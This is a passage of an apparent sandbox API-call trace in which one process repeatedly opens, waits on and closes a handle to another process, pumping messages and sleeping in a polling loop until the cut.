0xad4 [0139.489] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0139.505] CloseHandle (hObject=0xad4) returned 1 [0139.505] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0139.505] Sleep (dwMilliseconds=0x1) [0139.520] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0139.520] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0139.536] CloseHandle (hObject=0xad4) returned 1 [0139.536] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0139.536] Sleep (dwMilliseconds=0x1) [0139.552] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0139.552] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0139.567] CloseHandle (hObject=0xad4) returned 1 [0139.567] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0139.567] Sleep (dwMilliseconds=0x1) [0139.583] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0139.583] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0139.598] CloseHandle (hObject=0xad4) returned 1 [0139.598] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0139.598] Sleep (dwMilliseconds=0x1) [0139.614] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0139.614] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0139.645] CloseHandle (hObject=0xad4) returned 1 [0139.645] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0139.645] Sleep (dwMilliseconds=0x1) [0139.661] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0139.661] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0139.676] CloseHandle (hObject=0xad4) returned 1 [0139.676] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0139.676] Sleep (dwMilliseconds=0x1) [0139.709] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0139.709] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0139.723] CloseHandle (hObject=0xad4) returned 1 [0139.723] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0139.723] Sleep (dwMilliseconds=0x1) [0139.739] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0139.739] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0139.757] CloseHandle (hObject=0xad4) returned 1 [0139.758] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0139.758] Sleep (dwMilliseconds=0x1) [0139.770] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0139.770] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0139.785] CloseHandle (hObject=0xad4) returned 1 [0139.785] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0139.785] Sleep (dwMilliseconds=0x1) [0139.802] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0139.802] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0139.817] CloseHandle (hObject=0xad4) returned 1 [0139.817] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0139.817] Sleep (dwMilliseconds=0x1) [0139.832] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0139.832] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0139.848] CloseHandle (hObject=0xad4) returned 1 [0139.848] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0139.848] Sleep (dwMilliseconds=0x1) [0139.864] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0139.864] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0139.880] CloseHandle (hObject=0xad4) returned 1 [0139.880] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0139.880] Sleep (dwMilliseconds=0x1) [0139.894] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0139.895] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0139.910] CloseHandle (hObject=0xad4) returned 1 [0139.910] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0139.910] Sleep (dwMilliseconds=0x1) [0139.932] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0139.932] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0139.941] CloseHandle (hObject=0xad4) returned 1 [0139.942] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0139.942] Sleep (dwMilliseconds=0x1) [0139.957] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0139.957] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0139.973] CloseHandle (hObject=0xad4) returned 1 [0139.973] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0139.973] Sleep (dwMilliseconds=0x1) [0139.988] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0139.988] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0140.023] CloseHandle (hObject=0xad4) returned 1 [0140.023] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0140.023] Sleep (dwMilliseconds=0x1) [0140.035] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0140.035] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0140.050] CloseHandle (hObject=0xad4) returned 1 [0140.050] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0140.051] Sleep (dwMilliseconds=0x1) [0140.066] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0140.066] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0140.102] CloseHandle (hObject=0xad4) returned 1 [0140.102] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0140.102] Sleep (dwMilliseconds=0x1) [0140.113] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0140.113] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0140.129] CloseHandle (hObject=0xad4) returned 1 [0140.129] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0140.129] Sleep (dwMilliseconds=0x1) [0140.144] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0140.144] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0140.160] CloseHandle (hObject=0xad4) returned 1 [0140.160] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0140.160] Sleep (dwMilliseconds=0x1) [0140.175] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0140.175] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0140.191] CloseHandle (hObject=0xad4) returned 1 [0140.191] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0140.191] Sleep (dwMilliseconds=0x1) [0140.207] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0140.207] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0140.222] CloseHandle (hObject=0xad4) returned 1 [0140.222] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0140.222] Sleep (dwMilliseconds=0x1) [0140.244] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0140.244] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0140.253] CloseHandle (hObject=0xad4) returned 1 [0140.253] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0140.253] Sleep (dwMilliseconds=0x1) [0140.269] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0140.269] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0140.284] CloseHandle (hObject=0xad4) returned 1 [0140.284] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0140.285] Sleep (dwMilliseconds=0x1) [0140.300] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0140.300] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0140.316] CloseHandle (hObject=0xad4) returned 1 [0140.316] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0140.316] Sleep (dwMilliseconds=0x1) [0140.331] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0140.331] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0140.347] CloseHandle (hObject=0xad4) returned 1 [0140.347] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0140.347] Sleep (dwMilliseconds=0x1) [0140.363] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0140.363] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0140.378] CloseHandle (hObject=0xad4) returned 1 [0140.378] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0140.378] Sleep (dwMilliseconds=0x1) [0140.394] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0140.394] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0140.409] CloseHandle (hObject=0xad4) returned 1 [0140.409] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0140.409] Sleep (dwMilliseconds=0x1) [0140.425] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0140.425] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0140.441] CloseHandle (hObject=0xad4) returned 1 [0140.441] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0140.441] Sleep (dwMilliseconds=0x1) [0140.456] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0140.456] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0140.472] CloseHandle (hObject=0xad4) returned 1 [0140.472] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0140.472] Sleep (dwMilliseconds=0x1) [0140.487] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0140.487] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0140.503] CloseHandle (hObject=0xad4) returned 1 [0140.503] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0140.503] Sleep (dwMilliseconds=0x1) [0140.518] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0140.518] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0140.534] CloseHandle (hObject=0xad4) returned 1 [0140.534] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0140.534] Sleep (dwMilliseconds=0x1) [0140.550] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0140.550] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0140.566] CloseHandle (hObject=0xad4) returned 1 [0140.566] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0140.566] Sleep (dwMilliseconds=0x1) [0140.581] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0140.581] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0140.596] CloseHandle (hObject=0xad4) returned 1 [0140.597] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0140.597] Sleep (dwMilliseconds=0x1) [0140.612] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0140.612] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0140.628] CloseHandle (hObject=0xad4) returned 1 [0140.628] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0140.628] Sleep (dwMilliseconds=0x1) [0140.643] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0140.643] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0140.659] CloseHandle (hObject=0xad4) returned 1 [0140.659] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0140.659] Sleep (dwMilliseconds=0x1) [0140.675] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0140.675] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0140.690] CloseHandle (hObject=0xad4) returned 1 [0140.690] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0140.690] Sleep (dwMilliseconds=0x1) [0140.706] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0140.706] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0140.721] CloseHandle (hObject=0xad4) returned 1 [0140.721] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0140.721] Sleep (dwMilliseconds=0x1) [0140.737] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0140.737] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0140.755] CloseHandle (hObject=0xad4) returned 1 [0140.755] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0140.755] Sleep (dwMilliseconds=0x1) [0140.768] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0140.768] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0140.784] CloseHandle (hObject=0xad4) returned 1 [0140.784] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0140.784] Sleep (dwMilliseconds=0x1) [0140.799] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0140.799] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0140.815] CloseHandle (hObject=0xad4) returned 1 [0140.815] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0140.815] Sleep (dwMilliseconds=0x1) [0140.831] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0140.831] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0140.846] CloseHandle (hObject=0xad4) returned 1 [0140.846] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0140.846] Sleep (dwMilliseconds=0x1) [0140.862] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0140.862] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0140.877] CloseHandle (hObject=0xad4) returned 1 [0140.877] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0140.877] Sleep (dwMilliseconds=0x1) [0140.893] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0140.893] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0140.908] CloseHandle (hObject=0xad4) returned 1 [0140.909] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0140.909] Sleep (dwMilliseconds=0x1) [0140.924] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0140.924] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0140.940] CloseHandle (hObject=0xad4) returned 1 [0140.940] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0140.940] Sleep (dwMilliseconds=0x1) [0140.955] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0140.955] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0140.971] CloseHandle (hObject=0xad4) returned 1 [0140.971] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0140.971] Sleep (dwMilliseconds=0x1) [0140.987] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0140.987] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0141.002] CloseHandle (hObject=0xad4) returned 1 [0141.002] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0141.002] Sleep (dwMilliseconds=0x1) [0141.018] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0141.018] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0141.033] CloseHandle (hObject=0xad4) returned 1 [0141.033] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0141.033] Sleep (dwMilliseconds=0x1) [0141.049] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0141.049] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0141.064] CloseHandle (hObject=0xad4) returned 1 [0141.064] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0141.064] Sleep (dwMilliseconds=0x1) [0141.080] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0141.080] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0141.096] CloseHandle (hObject=0xad4) returned 1 [0141.096] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0141.096] Sleep (dwMilliseconds=0x1) [0141.111] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0141.111] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0141.127] CloseHandle (hObject=0xad4) returned 1 [0141.127] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0141.127] Sleep (dwMilliseconds=0x1) [0141.142] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0141.143] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0141.158] CloseHandle (hObject=0xad4) returned 1 [0141.158] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0141.159] Sleep (dwMilliseconds=0x1) [0141.174] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0141.174] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0141.189] CloseHandle (hObject=0xad4) returned 1 [0141.189] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0141.189] Sleep (dwMilliseconds=0x1) [0141.205] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0141.205] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0141.221] CloseHandle (hObject=0xad4) returned 1 [0141.221] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0141.221] Sleep (dwMilliseconds=0x1) [0141.236] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0141.236] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0141.258] CloseHandle (hObject=0xad4) returned 1 [0141.258] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0141.258] Sleep (dwMilliseconds=0x1) [0141.268] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0141.268] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0141.283] CloseHandle (hObject=0xad4) returned 1 [0141.283] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0141.283] Sleep (dwMilliseconds=0x1) [0141.299] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0141.299] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0141.314] CloseHandle (hObject=0xad4) returned 1 [0141.314] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0141.314] Sleep (dwMilliseconds=0x1) [0141.330] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0141.330] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0141.345] CloseHandle (hObject=0xad4) returned 1 [0141.345] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0141.345] Sleep (dwMilliseconds=0x1) [0141.371] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0141.371] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0141.376] CloseHandle (hObject=0xad4) returned 1 [0141.377] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, 